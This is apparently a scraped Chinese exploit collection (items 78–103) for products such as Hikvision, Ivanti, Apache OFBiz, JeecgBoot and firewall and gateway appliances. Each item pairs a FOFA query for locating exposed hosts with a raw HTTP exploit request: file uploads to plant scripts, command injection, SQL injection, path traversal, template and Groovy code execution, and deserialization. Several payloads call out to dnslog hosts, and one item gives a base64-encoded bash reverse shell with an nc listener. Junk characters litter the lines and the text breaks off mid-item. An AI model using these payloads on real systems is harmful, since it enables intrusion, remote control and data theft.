Content-Disposition: form-data; name="folder"
# j  j4 z' Y% c% L/ R5 G
/upload/udplog
$ l9 W$ W6 f8 j2 R1 b* z------------398jnjVTTlDVXHlE7yYnfwBoix
: f$ r# C2 M* J5 O- ]8 {Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
4 \2 M$ O; m1 O! v- R6 M
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
, Q4 \" }. H7 o9 G! y; D: [Content-Disposition: form-data; name="Upload"
: [" h9 {# |0 Z% e/ ?1 g& S
Submit Query
* T4 s$ \. H8 H! U2 N9 c& G- `# Y  L------------398jnjVTTlDVXHlE7yYnfwBoix--
0 D9 \7 q% U: m
6 X( R+ a) R' ]9 y6 y" X7 f3 j; a- ^* [
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
0 S' t( I+ q* b( o: oFOFA：icon_hash="2001627082"
$ W8 x4 C2 ?# n5 M4 [9 Z, KPOST /Platform/System/FileUpload.ashx HTTP/1.1
' L* I, w6 M5 t% O$ xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 N5 c* ?2 c0 j( Y; M9 g: |Connection: close
4 f* ~: U+ r; x4 x  i6 jContent-Length: 336
* A9 v( U4 O& B- m5 m* n. aAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ {; ?( b$ [# @3 C
' l: i# v& O( o  T2 w8 W2 n------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
* i2 c& t8 F' ?Content-Type: image/png
  L; M" R- X% {: K
2 w$ t- v% P) K4 j4 r* m4 P; BYsOxWxSvj1KyZow1PTsh98fdu6l
9 j3 K; W- Z8 N  W* y------YsOxWxSvj1KyZow1PTsh98fdu6l
4 M* C/ ]4 v% s) M! yContent-Disposition: form-data; name="target"
7 r# x$ K8 p  q; y) L" E
/Applications/SkillDevelopAndEHS/
- |; z3 a& f4 s& A9 ?. p, C9 B) G------YsOxWxSvj1KyZow1PTsh98fdu6l--
% e4 @  A+ E" G* K* ^. l7 ~' y5 I
; B% a0 T  m; t- p! Z
. a5 q! X2 ^6 }4 S4 x4 j$ VGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

' k" c" m! N* z
& K4 m- q3 a. c" z( U' g79. BYTEVALUE 百为流控路由器远程命令执行
/ g4 e0 l7 F; J9 a; \FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
7 r7 {3 B3 Q4 v$ w5 P6 {Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
; W) _; e$ B+ w& r
& ^' a# n, a9 n0 G; r1 d
1 b" `# n2 o& F  d$ P80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
! ]9 h7 D  S+ l9 E' xFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
2 \1 q6 m, R/ C- ]* C- L$ YHost: x.x.x.x
! T  P$ M( \- E( A$ e' [, ~' rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- F( p1 }: m8 t+ m1 O; W: H9 e3 qContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 f5 m" }% ^) Q  X) ]( AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 y8 X& P" v, @5 g8 Y7 uConnection: close
# c4 O; M' C2 b9 ?! h- \Content-Type: application/octet-stream
6 i2 Z! ~$ F% P9 @! x% r- vUpgrade-Insecure-Requests: 1

* j  R  P% k1 q$ W* t<% out.print("oessqeonylzaf");%>
+ _  J& B6 L3 }
. C7 m8 T; d0 v% K; |. m
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. H, U$ v5 P$ AConnection: close
! p: |5 \; B$ U4 sAccept-Encoding: gzip
/ N( r+ x4 |8 d) P7 D
. Z% B& y* z6 {3 V8 R& x
. A  F: `' a, s( `' X# }81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
, m0 J" d+ T6 AGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
, C& e! ]# g: @- v3 p% sHost: x.x.x.x
7 ~# b! H  Y& Z4 p; g; wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 L% z+ a0 O/ q9 @$ n( Y) uConnection: close
4 p7 `& R) A) j$ @& {4 cAccept-Encoding: gzip
) s& c1 C; p4 H( E* d
2 [! z+ B5 a& W( G) u2 l1 }
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
+ e( y" ?* X# uFOFA：app="思福迪-LOGBASE"
/ w" j9 U* D! i: j/ e( \POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
9 Y* q0 z& U# ]6 }( I% r/ v3 g( rUser-Agent: Go-http-client/1.1
( m7 f# g( b$ c. q$ eContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

/ Y+ f& k. A' h4 Y& V$ M# O5 R  q2 cz1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
& d' H4 [) F* V: `( V. K2 iFOFA：title=="JeecgBoot 企业级低代码平台"
5 r" k7 E0 j1 u" O; |0 s* a
, p1 U3 L$ }' j& v
$ I4 v* z+ t" {) ?7 d9 D$ W, @POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 _" g' |2 j# n; V7 KConnection: close
  [& A; s  W# t: I/ i' R# FContent-Length: 8881
& n6 Y, C: {( q4 n& \Accept-Encoding: gzip
3 ?9 b. x1 v2 E* }& k, f( g  M3 ^Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
+ p8 p& y3 O+ K. Y7 A" i: R
PAYLOAD
) s* G) Y$ A% U6 I
' h. }8 V' c! M! e$ A! i2 g84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
* e' p* A; i% Z8 n9 \/ b

5 b: [+ s8 Y: h6 [/ p
, ~; D) |0 A* @$ \POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
, V* G9 N5 E. n6 b' x' p, OHost: 192.168.40.130:8080
0 V% w6 {  K- I. _1 |$ n$ MUser-Agent: curl/7.88.1
Content-Length: 156
# D0 C3 D8 d. d6 w5 N6 \Accept: */*
Connection: close
6 k2 l$ r0 j7 ?( \& PContent-Type: application/json
( {) @+ ?& \: y4 ^: N! xAccept-Encoding: gzip
) ?$ z. u, H6 F. f. N6 |
9 A0 N  J$ P9 K, W- R{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
) b6 J" G, D. g, n% @% e}


85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
# x0 f2 g! @' [FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
/ x- l* p6 e& Q& ~( y3 @POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! i) l0 v; X( [6 x+ L- a+ ^Host: x.x.x.x
+ e: _* Z# K  L* b8 e: }- |  OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& O& H  ^/ v  p1 fContent-Type: application/octet-stream
Accept-Encoding: gzip
& Z& q, b' b; U$ j5 b: x3 b4 T
PAYLOAD
. f. Y1 V9 l" X! ^: g
; n/ o6 U9 d( o0 ?. S' ?8 l4 E回显URL：http://x.x.x.x/userfiles/index.jsp
) b& F  D7 @1 K* S2 h% \
86. 日本tosei自助洗衣机RCE
( Z0 o& @- w0 q2 q; Y' H& v' SFOFA：body="tosei_login_check.php"
7 n  R1 v& f8 J6 YPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
' ?# A" {  E( `1 S  iUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 q; |/ ~9 s2 Q& k6 g. F+ IConnection: close
Content-Length: 44
' J- I# H6 V. M8 F+ g7 K* gAccept: */*
1 l' s) C3 ~5 J8 HAccept-Encoding: gzip
Accept-Language: en
6 q2 {% q: Y+ KContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
3 G/ h7 k7 }. m6 M4 ^FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
7 D) ?9 U* K1 |$ r; x( n' tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" Z5 T' [- u- A. C- [: _Content-Length: 198
. e2 P+ p: e2 ~& w9 n0 s& lAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

( x# q, [  X! |& _8 n2 T--qqobiandqgawlxodfiisporjwravxtvd
' h8 z/ A: k- v8 N! BContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
. s, Y% g8 X: J6 j: r: SContent-Type: text/plain
! G2 S! X' P; S7 Q
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
  U) @3 J# G" f0 w8 g/ }
& e: u1 [8 V9 k! V+ g8 T3 t
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
, P5 W9 \; Y: M% k7 }6 Q" u4 m" OFOFA：title="明御安全网关"
7 ^; ^/ m/ B& }, }4 `0 wGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& _: s) |0 N5 u8 m, y% w% gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 d( F$ \/ Z' N" R; WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 T; v5 b5 {1 b$ e5 H% `1 z' }Connection: close


( f9 ?/ [9 v& Y( e/ D/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
5 G8 D8 {6 A2 q( E3 r8 b5 ZFOFA：title="FE协作办公平台" || body="li_plugins_download"
/ A: i" k! z+ U+ e6 ]4 Y+ NPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
3 b9 h. ]+ A5 v3 b0 g0 BHost: x.x.x.x
; U. A8 ~0 l: Y: _0 p/ sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 `1 ^! l) x3 G5 d: MConnection: close
Content-Length: 41
, }( B  S) y& @Content-Type: application/x-www-form-urlencoded
6 j' s  M  ~3 o5 _# XAccept-Encoding: gzip
* @- J5 l5 T! @7 H  @* B& u- p
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
4 G, Y+ h4 z. b7 x+ XFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
4 e7 s' L( T7 p- B2 Z% t/ \8 p; YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
9 L' T% `; r, [& s' z0 G& FAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
, l# v1 J" @4 N, YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' p( f( o- ~1 zConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
& s5 ~( y6 ^, x* U9 f& i' r6 x
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

  q- |' i' e5 j( O' Y, n
$ Y4 G# |, e) n, L91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
& P  \2 S7 L0 r" ~GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
8 e, O; O# I% @1 N2 UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% D6 \5 H$ o7 W; A, u7 q5 j, \Connection: keep-alive


& r0 ~# _9 s$ V% M+ B/ q
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
1 M7 m8 j. u) v9 ]/ _- WHost:
Accept: application/json, text/plain, */*
0 D; _( W1 {% g& T% x: \! nAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
. s; F5 C6 }9 HX-Language-Type: zh_CN
1 O  }+ u- [6 U0 F4 }* tTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
- I8 ]4 N; R# s2 P  V
( b- l8 L- Q! h. O7 ^5 F, ~PAYLOAD

/ r* ?/ o2 ~0 y' {. u' K  T
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 U% w+ G6 d/ j  F, R, NFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
: n& j' w4 e' S! V0 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ ~  Z. O4 m! O/ T9 S. ]
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
0 p3 j2 f, A1 o( t& X$ I
10000000
1 R5 U+ ]3 g- J, U------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
! D; y- W- ?" Y
wagletqrkwrddkthtulxsqrphulnknxa
0 X: }7 n5 H0 x) P2 M# l. ?------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

; Y! ^9 l* ?7 eobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

2 p1 v# m" S9 S" ?: ^% i0b9d6b1ab7479ab69d9f71b05e0e9445
; B  V' t1 v$ _------WebKitFormBoundarykcbkgdfx--

, Z; a9 ?3 z5 D: |
/ l5 f! b* o6 s/ N6 s! OGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  x; s( I; b. cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ q/ k8 p8 p4 ?. J) u0 z" s- v% YPOST /?g=obj_area_import_save HTTP/1.1
5 I) n1 C8 D3 t% P7 i" _8 FHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
* T7 m9 D# X* p6 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
. J" f$ b  @4 [+ @; J
10000000
------WebKitFormBoundarybqvzqvmt
$ ?3 l5 a, K1 C8 h* s* Q1 qContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
0 L3 h' p/ b0 `) c$ ]$ [Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
% [' x& Y2 h% X  |7 X------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
0 h& x& B: i# g7 j% g7 P: S
" V# r0 ~1 i: E% f* iobj_app_upfile
8 c; U' q& l$ ]* C( Y' f% \------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

. V3 `2 o& \! \9 _9 a0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
, `5 z4 r- P5 g* w; l% N$ s


  v. y+ U( l. g! _9 X5 U5 |GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
, {" c) G& Y0 [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* M( \* `. O( ~$ Y* [) g6 V& F

" `/ _( ?# ^' a1 ?5 Y" T$ u
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
4 `$ |& w! T5 _CVE-2023-49070
/ k8 U- E- A; C! {5 dFOFA：app="Apache_OFBiz"
+ w- |# c5 ]5 ?: D/ {' YPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
- r6 l0 h2 k" e/ K( MHost: x.x.x.x
5 s0 T% E3 E! Z$ l2 K* B4 Z, O% cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 |* I/ @: B  MConnection: close
+ w! z) G8 ]) ]4 d% d( UContent-Length: 889
2 \# e3 K; s9 e' Q) xContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
3 u0 @4 j2 p" e& n- C. a5 L$ i' a<methodCall>
( N- z8 @- Q3 \2 O& J+ s  c   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
  p- H1 Z$ ]) O    <params>
      <param>
* P7 L& ~- V. N# [. R) R      <value>
9 n; T; a( c% E2 t  U* C2 m3 L0 a# V        <struct>
9 J/ g; i+ z# z* l; ^1 q       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
, B! W7 q) r+ W/ t7 d+ U* j& j        </member>
      </struct>
$ N' @5 q" U& r  @) E; `" k1 W* X      </value>
    </param>
    </params>
</methodCall>
; }) Z) n9 _0 |+ u5 T( k

3 p8 T: Q2 q8 ~. G  B1 p5 b用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

* g) u* ]6 `' }6 o/ S0 _8 P/ B7 W% Q
8 H! U& M% I4 e% j; [7 t5 e3 h$ g) p将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 W6 Q: D) {% @% j' W: fConnection: close
7 ^# }$ F% M" G0 t. [Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
& R8 j% S: e2 U6 a3 d, U8 T
# m& i. V* d) v$ x3 j5 aPAYLOAD

: m2 K; i: C5 W, a$ Q( h/ p$ j96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
- {" `6 b3 H8 \) \( HPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
9 y* b6 h) \8 e  P9 y3 F$ F3 `% bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 a- n, G; t, b+ w1 M! p, S+ ]Content-Type: application/x-www-form-urlencoded
( K% V8 d" w0 N& E# R4 HContent-Length: 55
0 W) T' I; [1 Z" Y' O+ G3 H, V
groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
3 E5 u4 O$ `6 p/ p) ]+ J6 KHost: 192.168.40.130:8443
% r' H. z" c* S& g# tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
- ]0 c; d7 K  N9 ?Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

9 E! z& c& W; Y- b, k+ B' s9 e97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
$ q  w. B8 r& g& U- \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
' z+ v8 ~6 Q$ h6 t( V% N% WCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

1 y9 o1 M" G  h  U" V$ z  o
  z3 `! `, n$ w0 K" [98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
& I0 L$ c" e; J. p* Y2 g4 APOST /function/save HTTP/1.1
- h) D3 D/ L. ]Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
6 b1 M9 q8 w2 F  ?- c3 l7 p$ MAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
- J5 O* q+ ^9 |  H5 N8 T
+ _1 }) w  `) O" ~  }* lid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
# C# y; t( @9 ^4 T2 E  g

' m9 o3 U. c" w& ^5 G' w7 g3 U! K99. Ncast盈可视高清智能录播系统busiFacade RCE
) F/ C' P# G% h! r3 zCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
5 \" {" Z* K& W5 Y0 [POST /classes/common/busiFacade.php HTTP/1.1
5 \" U- v; z& j! uHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ T1 q3 E# S2 I& sConnection: close
Content-Length: 154
8 J" Y: g6 \) R7 q  Q+ u. z& r+ ~+ g+ EAccept: */*
4 G! r$ m! B7 s) R9 I: |Accept-Encoding: gzip, deflate
9 V# N" S4 H, w% @' E! dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
6 Z2 E" ~' L0 J4 J- XX-Requested-With: XMLHttpRequest
( ?+ ?* a: H, [+ }. _
3 Y( }" x' _8 y& \3 C%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

# d) b8 x" b/ s. r
9 p# L2 M2 |3 v: o3 j# A- l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ l  R) n& c2 SCVE-2024-0352
FOFA：icon_hash="874152924"
% S2 l! `3 `" t4 `' }3 {6 g2 xPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
% }4 r6 A5 P; o9 e' RContent-Length: 201
; U4 \# m* k" lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
4 I& T: s: d7 Z! w9 Y4 b) G7 {Accept-Encoding: gzip
. W9 o" s$ e3 ]: @( E4 c
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
( B+ s6 j/ I$ K0 I------WebKitFormBoundarygcflwtei--


, j6 ~1 {0 `+ ^1 P; U) v6 O+ y. y101. ivanti policy secure-22.6命令注入
( Q/ H  o; A# S' eCVE-2024-21887
) l: K" @2 V1 s$ z6 `FOFA：body="welcome.cgi?p=logo"
- U% K  J# y, a. B( G0 CGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
* V! ]$ o. U0 _+ ^Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; @  I7 \6 E8 X( i9 s2 z( K9 `Connection: close
Accept-Encoding: gzip


* e3 E. p2 V4 y! k* F$ b$ A102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
* }* w$ y: s3 _2 ]: y4 {7 q" rCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
8 Z1 u7 E0 L3 Z+ APOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
3 v. i* {4 ], \! s9 X. _
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! o: Y/ |( A# u0 D3 ?
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
& d: \5 V# E* V1 {FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
